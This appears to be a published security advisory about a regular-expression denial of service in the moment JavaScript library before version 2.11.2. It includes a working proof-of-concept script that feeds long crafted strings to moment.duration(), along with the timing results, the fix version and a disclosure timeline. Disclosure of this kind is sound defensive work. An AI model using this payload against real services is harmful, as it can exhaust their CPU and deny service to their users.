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Severity: moderate

Regular Expression Denial of Service

moment

Overview

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Remediation

Please update to version 2.11.2 or later.

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Advisory timeline

  1. published

    Advisory published
    Jan 26th, 2016
  2. reported

    Initial report by Adam Baldwin
    Oct 26th, 2015